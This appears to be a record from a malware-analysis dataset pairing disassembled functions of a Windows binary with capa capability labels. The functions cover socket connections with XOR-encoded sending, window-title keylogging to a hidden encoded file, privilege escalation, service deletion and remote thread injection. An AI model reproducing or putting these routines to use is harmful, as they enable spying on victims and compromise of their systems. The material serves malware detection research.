joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4013a0
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x40999a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x194
push esi
mov esi, ecx
mov dword [esp + 4], esi
lea ecx, [esi + 8]
call fcn.00401000
lea ecx, [esi + 0x18]
mov dword [esp + 0x1a0], 0
call fcn.00401000
lea ecx, [esi + 0x28]
mov byte [esp + 0x1a0], 1
call fcn.00401000
lea ecx, [esi + 0x38]
mov byte [esp + 0x1a0], 2
call fcn.00401000
lea eax, [esp + 8]
mov dword [esi], 0x40a328
push eax
push 0x202
mov byte [esi + 4], 0
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov byte [esp + 4], 0x68
mov byte [esp + 5], 0x78
mov dx, word [esp + 4]
lea ecx, [esi + 0x54]
mov dword [esi + 0x50], eax
mov al, 0x20
mov word [ecx], dx
mov byte [esi + 0x57], 0
mov dword [esi + 0x4c], 0xffffffff
mov byte [ecx + 2], al
mov ecx, dword [esp + 0x198]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a0
ret

Function at 0x401540
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x24
push esi
push edi
mov esi, ecx
call fcn.004019a0
mov eax, dword [esi + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [esi + 0x57], 0
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0x4c], eax
jne 0x401578
pop edi
xor al, al
pop esi
add esp, 0x24
ret 8
mov ecx, dword [esp + 0x30]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x401593
pop edi
xor al, al
pop esi
add esp, 0x24
ret 8
mov edx, dword [esp + 0x34]
mov word [esp + 0x1c], 2
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1e], ax
mov eax, dword [edi + 0xc]
push 0x10
mov ecx, dword [eax]
lea eax, [esp + 0x20]
push eax
mov edx, dword [ecx]
mov ecx, dword [esi + 0x4c]
push ecx
mov dword [esp + 0x2c], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4015d5
pop edi
xor al, al
pop esi
add esp, 0x24
ret 8
mov eax, dword [esi + 0x4c]
lea edx, [esp + 8]
push 4
push edx
push 8
push 0xffff
push eax
mov dword [esp + 0x1c], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x401630
push eax
lea ecx, [esp + 0x10]
push eax
push ecx
push eax
push eax
mov eax, dword [esi + 0x4c]
lea edx, [esp + 0x24]
push 0xc
push edx
push 0x98000004
push eax
mov dword [esp + 0x34], 1
mov dword [esp + 0x38], 0x2bf20
mov dword [esp + 0x3c], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x401660
push 0
push 0
mov byte [esi + 0x57], 1
call fcn.00408b50
add esp, 0x1c
mov dword [esi + 0x48], eax
mov al, 1
pop edi
pop esi
add esp, 0x24
ret 8

Function at 0x401b70
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
test esi, esi
jle 0x401b90
mov dl, byte [ecx + eax]
xor dl, 0xfc
add dl, 0x31
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x401b7f
pop esi
ret
Function at 0x401ba0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
push ebx
push edi
mov ebp, ecx
call fcn.00401b70
mov esi, dword [esp + 0x24]
mov eax, ebx
add esp, 8
cmp eax, esi
mov dword [esp + 0x14], 0
jb 0x401c13
mov dword [esp + 0x1c], 0
mov eax, dword [ebp + 0x4c]
push 0
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x401bf2
mov ecx, dword [esp + 0x1c]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x1c], ecx
jl 0x401bd2
cmp dword [esp + 0x1c], 0xf
je 0x401c46
mov ecx, dword [esp + 0x14]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebx, esi
cmp ebx, esi
jae 0x401bca
test ebx, ebx
jle 0x401c3a
xor esi, esi
mov ecx, dword [ebp + 0x4c]
push 0
push ebx
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x401c31
inc esi
cmp esi, 0xf
jl 0x401c19
cmp esi, 0xf
je 0x401c46
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp eax, ecx
je 0x401c49
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret 0xc

Function at 0x402470
Capabilities:
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [esp + 0x14]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
mov cx, word [str._._mnbvcxz_lkjhgfdsa__poiuytrewq]
push 0
mov word [edi - 1], cx
mov edi, str.Default
or ecx, 0xffffffff
push 0x80
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 4
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push 0
and ecx, 3
push 2
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x28]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov eax, dword [str..key]
mov cl, byte [0x40c93c]
dec edi
lea edx, [esp + 0x28]
push 0x40000000
push edx
mov dword [edi], eax
mov byte [edi + 4], cl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x40252a
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebp, dword [esp + 0x11c]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
test esi, esi
jle 0x402559
mov ecx, ebp
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec esi
jne 0x40254d
lea eax, [esp + 0x10]
push 0
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x402590
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x410
push esi
push edi
mov ecx, 0x100
xor eax, eax
mov edi, 0x40e0c0
rep stosd dword es:[edi], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x400
push 0x40e0c0
push eax
mov dword [0x40e4c0], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x40e0bc]
xor esi, esi
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x40e4c0]
cmp eax, ecx
je 0x40268b
push 0x40e0c0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x40267f
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x12]
mov ecx, dword [esp + 0x10]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x12]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x12]
push ecx
mov ecx, dword [esp + 0x14]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
push 0x40e0c0
lea edx, [esp + 0x34]
push 0x40c940
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x3c]
push eax
call fcn.00402470
add esp, 0x28
mov ecx, 0x100
xor eax, eax
mov edi, 0x40e0c0
rep stosd dword es:[edi], eax
mov esi, 1
mov ecx, dword [0x40e4c0]
mov dword [0x40e0bc], ecx
mov eax, esi
pop edi
pop esi
add esp, 0x410
ret
Function at 0x402cb0
Capabilities:
Get graphical window text

Disassembly:
mov eax, 0x1104
call fcn.004096f0
push ebx
push ebp
push edi
push 0x800
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
mov ecx, 0x41
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov ecx, 0x1ff
lea edi, [esp + 0x115]
mov byte [esp + 0x114], al
mov byte [esp + 0x914], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0x915]
add esp, 4
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
push str.CTXOPConntion_Class
stosb byte es:[edi], al
call dword [sym.imp.USER32.dll_FindWindowA]
mov ebp, eax
test ebp, ebp
je 0x402e0e
push esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10]
push 0x104
push eax
push ebp
call dword [sym.imp.USER32.dll_GetClassNameA]
mov edi, str.CTXOPConntion_Class
lea esi, [esp + 0x10]
mov ecx, 0x14
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x402dfa
test ebp, ebp
je 0x402d78
lea eax, [esp + 0x114]
push 0x104
push eax
push ebp
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edi, [esp + 0x114]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov al, byte [esp + ecx + 0x113]
dec ecx
cmp al, 0x5f
jne 0x402d89
lea eax, [esp + ecx + 0x115]
lea edx, [esp + 0x914]
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x402da5
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x402dce
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov cx, word [0x40c998]
mov word [edi - 1], cx
lea edi, [esp + 0x914]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 2
push ebp
call dword [sym.imp.USER32.dll_GetWindow]
mov ebp, eax
test ebp, ebp
jne 0x402d22
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x402e2c
mov eax, 0x40c994
mov edx, ebx
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x402e22
pop edi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x1104
ret
Function at 0x402f20
Capabilities:
Get file size
Write file on windows

Disassembly:
sub esp, 0x404
push ebp
push esi
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ax, word [0x40e0ba]
test ax, ax
je 0x403009
push 0
xor esi, esi
push 0x80
push 4
mov si, ax
mov eax, dword [esp + 0x41c]
push 0
push 2
push 0x40000000
push eax
shl esi, 0xa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x403009
push edi
push 2
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, esi
shl ecx, 0xa
cmp ecx, eax
jbe 0x403001
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor edi, edi
mov dword [esp + 0xc], 0
test esi, esi
jbe 0x403001
push ebx
test edi, 0x3ff
jne 0x402fe3
xor ebx, ebx
call dword [sym.imp.MSVCRT.dll_rand]
add al, bl
mov ecx, 0xff
movsx eax, al
cdq
idiv ecx
inc ebx
cmp ebx, 0x400
mov byte [esp + ebx + 0x13], dl
jl 0x402fc3
lea edx, [esp + 0x10]
push 0
push edx
lea eax, [esp + 0x1c]
push 0x400
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc edi
cmp edi, esi
jb 0x402fb9
pop ebx
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
add esp, 0x404
ret

Function at 0x403440
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x403465
lea ecx, [esp + 0xc]
push 0
push ecx
push 0xf5
push 0x40c528
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x403483
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
ret

Function at 0x4036d0
Capabilities:
Delete service
Terminate process

Disassembly:
sub esp, 0x94
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
push str.Cdefgh
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
call fcn.00403650
lea eax, [esp]
mov dword [esp], 0x94
push eax
call dword [0x40ed40]
cmp dword [esp + 0x10], 2
jne 0x40372a
cmp dword [esp + 4], 6
jb 0x40372a
mov dword [0x40ee34], 1
push 0
call dword [sym.imp.MSVCRT.dll_exit]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x403ed0
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
lea eax, [esp]
mov dword [esp], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x403ef6
xor al, al
add esp, 0x9c
ret
cmp dword [esp + 4], 5
seta al
add esp, 0x9c
ret
Function at 0x404840
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x10], ecx
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
push 0x104
push eax
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
mov cx, word [str._._mnbvcxz_lkjhgfdsa__poiuytrewq]
push ebx
mov word [edi - 1], cx
mov edi, str.Default
or ecx, 0xffffffff
push 0x80
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 3
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
push ebx
and ecx, 3
push 1
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov eax, dword [str..key]
mov cl, byte [0x40c93c]
dec edi
lea edx, [esp + 0x2c]
push closesocket
push edx
mov dword [edi], eax
mov byte [edi + 4], cl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x404944
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
lea eax, [esp + 0x14]
push ebx
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp edi, ebx
jbe 0x40492e
mov bl, byte [eax + esi]
xor bl, 0x62
mov byte [eax + esi], bl
inc eax
cmp eax, edi
jb 0x404920
mov ecx, dword [esp + 0x10]
push edi
push esi
call fcn.004047e0
push esi
mov ebx, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x10c
ret

Function at 0x404ca0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
push edi
push 0
push 2
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
je 0x404d30
lea eax, [esp + 0x10]
push eax
push ebx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x404d29
mov ebp, dword [esp + 0x13c]
mov edi, dword [sym.imp.MSVCRT.dll__strupr]
push ebp
call edi
lea ecx, [esp + 0x38]
mov esi, eax
push ecx
call edi
add esp, 8
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x404d11
test cl, cl
je 0x404d0d
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x404d11
add eax, 2
add esi, 2
test cl, cl
jne 0x404ced
xor eax, eax
jmp 0x404d16
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x404d3d
lea eax, [esp + 0x10]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x404cde
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x128
ret
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x128
ret
Function at 0x404de0
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x214
push ebx
push ebp
push esi
push edi
push str.SeDebugPrivilege
call fcn.00404d50
add esp, 4
test eax, eax
je 0x404e08
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x214
ret
mov eax, dword [esp + 0x228]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x404f97
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, 0x45
lea edi, [esp + 0x10]
push str.OpenProcess
rep stosd dword es:[edi], eax
push str.Kernel32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.WinExec
push str.Kernel32.dll
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
push str.WaitForSingleObject
push str.Kernel32.dll
mov dword [esp + 0x18], eax
call esi
push eax
call edi
mov ecx, dword [esp + 0x22c]
mov dx, word [0x40ee3c]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], ecx
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x126]
mov word [esp + 0x124], dx
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [esp + 0x124]
push 0xff
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x124]
lea ecx, [esp + 0x24]
mov esi, 0xff
lea eax, [esp + 0x24]
sub edx, ecx
mov cl, byte [edx + eax]
test cl, cl
je 0x404ede
mov byte [eax], cl
inc eax
dec esi
jne 0x404ecf
jmp 0x404ee2
test esi, esi
jne 0x404ee3
dec eax
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0x40
push 0x3000
push 0x114
push 0
push ebx
mov byte [eax], 0
call esi
mov edi, eax
test edi, edi
jne 0x404f0e
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x214
ret
mov ebp, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
lea edx, [esp + 0x14]
push 0x114
push edx
push edi
push ebx
call ebp
test eax, eax
jne 0x404f33
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x214
ret
push 0x40
push 0x3000
push 0x1000
push 0
push ebx
call esi
mov esi, eax
test esi, esi
jne 0x404f55
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x214
ret
push 0
push 0x1000
push 0x404c60
push esi
push ebx
call ebp
test eax, eax
jne 0x404f74
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x214
ret
push 0
push 0
push edi
push esi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ecx, dword [esp + 0x230]
xor edx, edx
test eax, eax
setne dl
mov dword [ecx], eax
mov eax, edx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x214
ret
Function at 0x405cc0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x68
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebp
push esi
push edi
push str.userenv.dll
call ebx
mov ebp, eax
push str.CreateEnvironmentBlock
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x20], eax
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x34]
rep stosd dword es:[edi], eax
mov dword [esp + 0x24], eax
xor esi, esi
mov dword [esp + 0x28], eax
mov dword [esp + 0x1c], esi
mov dword [esp + 0x2c], eax
mov dword [esp + 0x18], esi
mov dword [esp + 0x30], eax
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], esi
mov dword [esp + 0x34], 0x44
mov dword [esp + 0x3c], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [esp + 0x14]
push ecx
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x10]
push edx
push 1
push 1
push esi
push 0x2000000
push eax
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
push str.WTSGetActiveConsoleSessionId
push str.Kernel32.dll
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, esi
je 0x405dec
call eax
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push 4
push ecx
push 0xc
push edx
mov dword [esp + 0x28], eax
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
mov eax, dword [esp + 0x10]
push esi
lea ecx, [esp + 0x20]
push eax
push ecx
call dword [esp + 0x2c]
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x24]
lea eax, [esp + 0x34]
push edx
mov edx, dword [esp + 0x80]
push eax
mov eax, dword [esp + 0x18]
push esi
push ecx
push 0x430
push esi
push esi
push esi
push edx
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
mov ecx, dword [esp + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x24]
push ecx
call ebx
mov edx, dword [esp + 0x14]
push edx
call ebx
jmp 0x405dee
xor edi, edi
cmp ebp, esi
je 0x405df9
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x68
ret
Function at 0x406050
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x354
push ebx
push ebp
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
push 0x2e
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x18], 0x104
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
test eax, eax
jne 0x406093
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push eax
push closesocket
call ebp
test eax, eax
je 0x4060be
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea edx, [esp + 0x14]
lea eax, [esp + 0x6c]
push edx
push eax
push 0
push ecx
call esi
mov edx, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call ebx
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x170]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x6c]
lea ecx, [esp + 0x170]
push eax
push str._s_shellopencommand
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x170]
push edx
push 0xf003f
push 0
push eax
push closesocket
call ebp
test eax, eax
je 0x40613b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
lea edx, [esp + 0x6c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call ebx
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x6c]
push 0x40cab4
push edx
call esi
add esp, 8
test eax, eax
jne 0x4061b8
lea eax, [esp + 0x6c]
push 0x40cab0
push eax
call esi
add esp, 8
test eax, eax
jne 0x4061b8
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x6c]
push 0x40caac
push ecx
call esi
mov edx, dword [esp + 0x368]
lea eax, [esp + 0x6c]
push edx
push eax
call esi
jmp 0x4061c7
mov ecx, dword [esp + 0x368]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x28], 0x44
test eax, eax
je 0x4061ef
mov dword [esp + 0x30], str.WinSta0Default
lea edx, [esp + 0x18]
lea eax, [esp + 0x28]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x88]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x354
ret